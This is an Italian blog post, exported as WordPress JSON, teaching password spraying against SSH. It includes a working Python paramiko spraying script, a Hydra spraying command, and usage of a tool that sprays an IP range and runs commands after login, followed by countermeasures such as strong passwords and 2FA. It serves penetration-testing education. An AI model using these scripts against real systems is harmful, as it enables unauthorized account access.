{"id":45,"date":"2024-01-05T16:22:08","date_gmt":"2024-01-05T16:22:08","guid":{"rendered":"https:\/\/www.cyberdoomera.com\/?p=45"},"modified":"2024-01-13T15:02:02","modified_gmt":"2024-01-13T15:02:02","slug":"break-the-shell","status":"publish","type":"post","link":"https:\/\/www.cyberdoomera.com\/en\/2024\/01\/05\/break-the-shell\/","title":{"rendered":"Break the shell"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">Utilizzare il password spraying attack contro SSH<\/h4>\n\n\n\n<figure data-wp-context=\"{&quot;imageId&quot;:&quot;6ab867a34b259&quot;}\" data-wp-interactive=\"core\/image\" data-wp-key=\"6ab867a34b259\" class=\"wp-block-image size-large wp-lightbox-container\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"558\" data-wp-class--hide=\"state.isContentHidden\" data-wp-class--show=\"state.isContentVisible\" data-wp-init=\"callbacks.setButtonStyles\" data-wp-on--click=\"actions.showLightbox\" data-wp-on--load=\"callbacks.setButtonStyles\" data-wp-on--pointerdown=\"actions.preloadImage\" data-wp-on--pointerenter=\"actions.preloadImageWithDelay\" data-wp-on--pointerleave=\"actions.cancelPreload\" data-wp-on-window--resize=\"callbacks.setButtonStyles\" src=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/screenshot-3-1024x558.png\" alt=\"\" class=\"wp-image-102\" srcset=\"https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/screenshot-3-1024x558.png 1024w, https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/screenshot-3-300x163.png 300w, https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/screenshot-3-768x419.png 768w, https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/screenshot-3-1536x837.png 1536w, https:\/\/www.cyberdoomera.com\/wp-content\/uploads\/2024\/01\/screenshot-3.png 1556w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><button\n\t\t\tclass=\"lightbox-trigger\"\n\t\t\ttype=\"button\"\n\t\t\taria-haspopup=\"dialog\"\n\t\t\tdata-wp-bind--aria-label=\"state.thisImage.triggerButtonAriaLabel\"\n\t\t\tdata-wp-init=\"callbacks.initTriggerButton\"\n\t\t\tdata-wp-on--click=\"actions.showLightbox\"\n\t\t\tdata-wp-style--right=\"state.thisImage.buttonRight\"\n\t\t\tdata-wp-style--top=\"state.thisImage.buttonTop\"\n\t\t>\n\t\t\t<svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"12\" height=\"12\" fill=\"none\" viewBox=\"0 0 12 12\">\n\t\t\t\t<path fill=\"#fff\" d=\"M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z\" \/>\n\t\t\t<\/svg>\n\t\t<\/button><\/figure>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SSH (Secure Shell) \u00e8 un servizio che nasce a met\u00e0 degli anni 90 come valido sostituto a TELNET ed FTP. Rispetto ai suoi vecchi predecessori, SSH offre notevoli vantaggi:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Cifratura dei dati<\/strong> &#8211;  I dati scambiati tramite protocollo SSH sono cifrati, perci\u00f2 \u00e8 estremamente difficile effettuare un attacco di tipo man-in-the-middle al fine di intercettarne le comunicazioni<\/li>\n\n\n\n<li><strong>Scambio file sicuro<\/strong> -\u2002grazie al protocollo SFTP i file sono scambiati in modo sicuro e rispetto ad FTP i file sono cifrati prima di essere trasferiti<\/li>\n\n\n\n<li><strong>Autenticazione tramite chiavi SSH<\/strong> &#8211; \u00e8 possibile collegarsi ad un sistema remoto utilizzando una chiave SSH memorizzata in un file. Questo ha il doppio vantaggio: da una parte si evita di dover ricordare la password e di doverla reinserire ad ogni collegamento, dall&#8217;altro invece ci sar\u00e0 un netto incremento della sicurezza<\/li>\n<\/ul>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Il lato oscuro di SSH<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Questo magnifico servizio presenta un lato oscuro: una volta eseguita la corretta autenticazione vi troverete faccia a faccia con la shell di sistema, eseguire comandi e collegarvi ad altri sistemi. Come vedremo pi\u00f9 avanti, ottenere l&#8217;accesso tramite corretta autenticazione non \u00e8 poi cos\u00ec impossibile.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Una volta &#8220;loggati&#8221; all&#8217;interno del sistema la minaccia sar\u00e0 commisurata al livello di accesso ottenuto: ovviamente un accesso di tipo root o admin vi dar\u00e0 poteri illimitati.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Ottenere l&#8217;accesso tramite password spraying attack<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bene! Siamo quasi arrivati alla parte pi\u00f9 succosa, presto vedremo un po&#8217; di codice e un paio di tool da utilizzare in questo contesto. Prima per\u00f2 \u00e8 doveroso spendere 2 righe sull&#8217;attacco di tipo password spraying. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il password spraying \u00e8 un particolare tipo di attacco bruteforce alle credenziali ma differisce da un attacco tradizionale dal modo in cui vengono &#8220;provate&#8221; le combinazioni  user\/password. Di seguito un esempio<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Attacco bruteforce tradizionale<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>User<\/strong><\/td><td><strong>Password<\/strong><\/td><\/tr><tr><td>admin<\/td><td>admin<\/td><\/tr><tr><td>admin<\/td><td>password<\/td><\/tr><tr><td>admin<\/td><td>12345<\/td><\/tr><tr><td>admin<\/td><td>guest<\/td><\/tr><tr><td>loris<\/td><td>admin<\/td><\/tr><tr><td>loris<\/td><td>password<\/td><\/tr><tr><td>loris<\/td><td>12345<\/td><\/tr><tr><td>loris<\/td><td>guest<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Attacco password spray<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>User<\/strong><\/td><td><strong>Password<\/strong><\/td><\/tr><tr><td>admin<\/td><td>12345<\/td><\/tr><tr><td>loris<\/td><td>12345<\/td><\/tr><tr><td>guest<\/td><td>12345<\/td><\/tr><tr><td>root<\/td><td>12345<\/td><\/tr><tr><td>admin<\/td><td>admin<\/td><\/tr><tr><td>loris<\/td><td>admin<\/td><\/tr><tr><td>guest<\/td><td>admin<\/td><\/tr><tr><td>root<\/td><td>admin<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<div style=\"height:58px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">In questa tipologia di attacco si una una singola password contro una lista di utenti prima di passare alla password successiva, l&#8217;obiettivo quindi \u00e8 ottenere una login valida al sistema a prescindere dal tipo di accesso. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Questo ha un doppio vantaggio: <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u00e8 molto pi\u00f9 facile ottenere almeno un accesso preliminare con una password debole, specialmente se la lista di utenti \u00e8 sufficientemente lunga<\/strong><\/li>\n\n\n\n<li><strong>non rischieremo di bloccare l&#8217;account<\/strong> <strong>a causa dei molteplici tentativi<\/strong><\/li>\n<\/ul>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Talk is cheap show me the code<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Per effettuare questo tipo di attacco utilizzeremo un semplice script python<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code has-tiny-font-size\"><code>#installazione libreria paramiko<br>pip install paramiko<br><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code has-tiny-font-size\"><code>import paramiko\n\ndef read_credentials(filename):\n    with open(filename, 'r') as file:\n        return &#91;line.strip() for line in file.readlines()]\n\ndef ssh_connect(hostname, port, username, password):\n    try:\n        client = paramiko.SSHClient()\n        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n        client.connect(hostname, port, username, password)\n        print(\"&#91;*] Password found: {}\/{}\".format(username, password))\n        client.close()\n    except Exception as e:\n        pass\n\nuser_filename = \"user.txt\"\npassword_filename = \"password.txt\"\nhostname = \"127.0.0.1\"  \nport = 22\ntry:\n    usernames = read_credentials(user_filename)\n    passwords = read_credentials(password_filename)\n    for pwd in passwords:\n        for user in usernames:\n            ssh_connect(hostname, port, user, pwd)\nexcept Exception as e:\n    print(f\"Error: {str(e)}\")\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lo script \u00e8 minimale&#8230; ma dovrebbe funzionare abbastanza bene: prova tutte le combinazioni di username per una determinata password tramite libreria paramiko<\/p>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Password Spraying Tools<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Esitono diversi tool ampiamente utilizzati nei penetration testing che permettono di effettuare attacchi alle credenziali di tipo password spraying. In questa sessione ne studieremo 2:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/vanhauser-thc\/thc-hydra\">Hydra<\/a> &#8211; Venerabile tool ampiamente utilizzato e testato in ambito cybersecurity. Pu\u00f2 effettuare attacchi alle credenziali su una moltitutide di protocolli. \u00c9 veloce, robusto, scritto in C, presente di default sulle distro Kali<\/li>\n\n\n\n<li><a data-type=\"link\" data-id=\"https:\/\/github.com\/killercd\/sshscan\" href=\"https:\/\/github.com\/killercd\/sshscan\">SSHScan<\/a> &#8211; Scritto in python dal sottoscritto, non \u00e8 veloce quanto hydra ma presenta alcune funzionalit\u00e0 interessanti: pu\u00f2 effettuare attacchi su range di ip ed eseguire codice automaticamente dopo aver effettuato un accesso<\/li>\n<\/ul>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Come installare\/utilizzare hydra<\/h3>\n\n\n\n<pre class=\"wp-block-code has-tiny-font-size\"><code>#installazione hydra su os linux e distro basate su Debian\nsudo apt-get install hydra\n\n#attacco di tipo password spraying sul servizio SSH\nhydra -L user.txt -P password.txt -u ssh:\/\/192.168.178.50<\/code><\/pre>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Come installare\/utilizzare SSHScan<\/h3>\n\n\n\n<pre class=\"wp-block-code has-tiny-font-size\"><code>#installazione SSHScan da github\ngit clone https:\/\/github.com\/killercd\/sshscan.git\n\npython3 -m venv sshscan\nsource sshscan\/bin\/activate\npip install -r requirements.txt\n\n\npython sshscan.py scan 192.168.178.1 192.168.254 user.txt password.txt -c \"whoami && ls -all\"\n\n\n<\/code><\/pre>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Contromisure<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Le contromisure adottabili per mitigare questo tipo di attacco sono analoghe a quelle gi\u00e0 utilizzate per altre forme di attacco alle credenziali e includono:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>scelta di password complesse<\/strong> (\u00e8 importante impostare delle policy di sicurezza per password complesse. \u00c9 importante costringere gli utenti ad impostare password non facilmente indovinabili)<\/li>\n\n\n\n<li> <strong>Implementazione dell&#8217;autenticazione a 2 fattori<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> A queste due si va ad aggiungere anche la mitigazione dell&#8217;<strong>enumerazione degli utenti<\/strong>: ricordiamo che gli attacchi di tipo password spraying sono pi\u00f9 efficaci se l&#8217;attaccante ha a disposizione una lunga lista di utenti validi. Esisono diverse tecniche per enumerare gli utenti di un sistema e altre per contrastarne l&#8217;enumerazione, tecniche che esulano da questo articolo.  <\/p>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Considerazioni finali<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Oggi abbiamo ampliato la nostra conoscenza su una tipologia di attacco abbastanza comune e facile da portare contro un sistema, attacco facile ma non per questo non pericoloso o inefficace. Il tutto \u00e8 stato corredato da codice di esempio per effettuare l&#8217;attacco, da tools per condurre un penetration test e da semplici contromisure attuabili per difenderci da tali attacchi. Il prossimo articolo verter\u00e0 sulle tecniche di enumerazione degli utenti e sulle procedure utilizzabili per la sua mitigazione.<\/p>\n\n\n\n<div style=\"height:70px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Link utili<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/vanhauser-thc\/thc-hydra\">https:\/\/github.com\/vanhauser-thc\/thc-hydra<\/a> (Hydra project)<\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/killercd\/sshscan\">https:\/\/github.com\/killercd\/sshscan<\/a> (SSHScan project)<\/li>\n\n\n\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/Password_Spraying_Attack\">https:\/\/owasp.org\/www-community\/attacks\/Password_Spraying_Attack<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/dmcxblue.gitbook.io\/red-team-notes-2-0\/red-team-techniques\/credential-access\/t1110-brute-force\/password-spraying\">https:\/\/dmcxblue.gitbook.io\/red-team-notes-2-0\/red-team-techniques\/credential-access\/t1110-brute-force\/password-spraying<\/a><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Utilizzare il password spraying attack contro SSH SSH (Secure Shell) \u00e8 un servizio che nasce a met\u00e0 degli anni 90 come valido sostituto a TELNET ed FTP. Rispetto ai suoi vecchi predecessori, SSH offre notevoli vantaggi: Il lato oscuro di SSH Questo magnifico servizio presenta un lato oscuro: una volta eseguita la corretta autenticazione vi [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":75,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[19],"tags":[18,13,15,11,16,10,17,12,14],"class_list":["post-45","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hacking","tag-bash","tag-bruteforce","tag-cybersecurity","tag-hacking","tag-pen-test","tag-penetration-testing","tag-python","tag-security","tag-sshscan"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts\/45","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/comments?post=45"}],"version-history":[{"count":44,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts\/45\/revisions"}],"predecessor-version":[{"id":122,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/posts\/45\/revisions\/122"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/media\/75"}],"wp:attachment":[{"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/media?parent=45"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/categories?post=45"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.cyberdoomera.com\/en\/wp-json\/wp\/v2\/tags?post=45"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}